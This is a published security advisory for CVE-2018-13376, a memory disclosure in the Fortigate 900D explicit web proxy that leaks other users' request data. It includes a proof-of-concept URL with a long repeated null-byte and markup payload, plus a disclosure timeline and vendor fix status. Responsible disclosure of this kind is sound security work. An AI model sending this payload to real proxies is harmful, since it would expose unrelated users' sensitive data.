usd-2018-0031 | Fortigate 900D – The FortiGate explicit web proxy/ V. 5.6.2 Build 1486 (GA)
Advisory ID: usd-2018-0031
CVE number: CVE-2018-13376
Affected Product: Fortigate 900D
Affected Version: V. 5.6.2 Build 1486 (GA)
Vulnerability Type: Sensitive Data disclosure
Security Risk: High
Vendor URL: http://help.fortinet.com/fos50hlp/54/Content/FortiOS/fortigate-WAN-opt-54/web_proxy.htm
Vendor Status:: Fixed
Description
When an unauthenticated specific request is sent to the Web proxy page, the server returns random data. This data contains content from other users of the Web proxy. GET parameters and various other sensitive data can be spied out.
Proof of Concept
The device is being used as “Explicit Proxy”. The following features are activated: AV, Web, App, IPS, SSL Inspection. The following prepared URL discloses data of
https:://store.example.com/...
http://10.100.136.21:8080/?user=as%27`%3Ch1%3E%00r=as%27`%3Ch1%3E%00r=as%27`%3Ch1%3E%00r=as%27`%3Ch1%3E%00%3Ch1%3E%00r=as%27`%3Ch1%3E%00%3Ch1%3E%00r=as%27`%3Ch1%3E%00%3Ch1%3E%00r=as%27`%3Ch1%3E%00%3Ch1%3E%00r=as%27`%3Ch1%3E%00%3Ch1%3E%00r=as%27`%3Ch1%3E%00%3Ch1%3E%00r=as%27`%3Ch1%3E%00%3Ch1%3E%00r=as%27`%3Ch1%3E%00%3Ch1%3E%00r=as%27`%3Ch1%3E%00%3Ch1%3E%00r=as%27`%3Ch1%3E%00%3Ch1%3E%00r=as%27`%3Ch1%3E%00r=as%27`%3Ch1%3E%00r=as%27`%3Ch1%3E%00r=as%27`%3Ch1%3E%00r=as%27`%3Ch1%3E%00r=as%27`%3Ch1%3E%00r=as%27`%3Ch1%3E%00r=as%27`%3Ch1%3E%00r=as%27`%3Ch1%3E%00r=as%27`%3Ch1%3E%00r=as%27`%3Ch1%3E%00r=as%27`%3Ch1%3E%00r=as%27`%3Ch1%3E%00r=as%27`%3Ch1%3E%00r=as%27`%3Ch1%3E%00r=as%27`%3Ch1%3E%00r=as%27`%3Ch1%3E%00r=as%27`%3Ch1%3E%00r=as%27`%3Ch1%3E%00r=as%27`%3Ch1%3E%00r=as%27`%3Ch1%3E%00r=as%27`%3Ch1%3E%00r=as%27`%3Ch1%3E%00r=as%27`%3Ch1%3E%00r=as%27`%3Ch1%3E%00r=as%27`%3Ch1%3E%00r=as%27`%3Ch1%3E%00r=as%27`%3Ch1%3E%00
Fix
The request presumably triggers an overflow which returns sensitive data from the memory.
Therefore the user input should always be filtered. Moreover it also should be checked for buffer overflow.
Timeline
- 2018-10-12 First contacted vendor.
- 2018-11-22 Fortinet released PSIRT Advisory FG-IR-18-325
- 2018-12-07 First Published
Credits
These security vulnerabilities were found by Christoph Cierpka and Lars Neumann of usd AG.
ABOUT usd SECURITY ADVISORIES

In order to protect businesses against hackers and criminals, we always have to keep our skills and knowledge up to date. Thus, security research is just as important for our work as is building up a security community to promote the exchange of knowledge. After all, more security can only be achieved if many individuals take on the task.
Our CST Academy and our usd HeroLab are essential parts of our security mission. We share the knowledge we gain in our practical work and our research through training courses and publications. In this context, the usd HeroLab publishes a series of papers on new vulnerabilities and current security issues.
Always for the sake of our mission: „more security.“
In accordance with usd AG’s Responsible Disclosure Policy, all vendors have been notified of the existence of these vulnerabilities.
Disclaimer
The information provided in this security advisory is provided „as is“ and without warranty of any kind. Details of this security advisory may be updated in order to provide as accurate information as possible.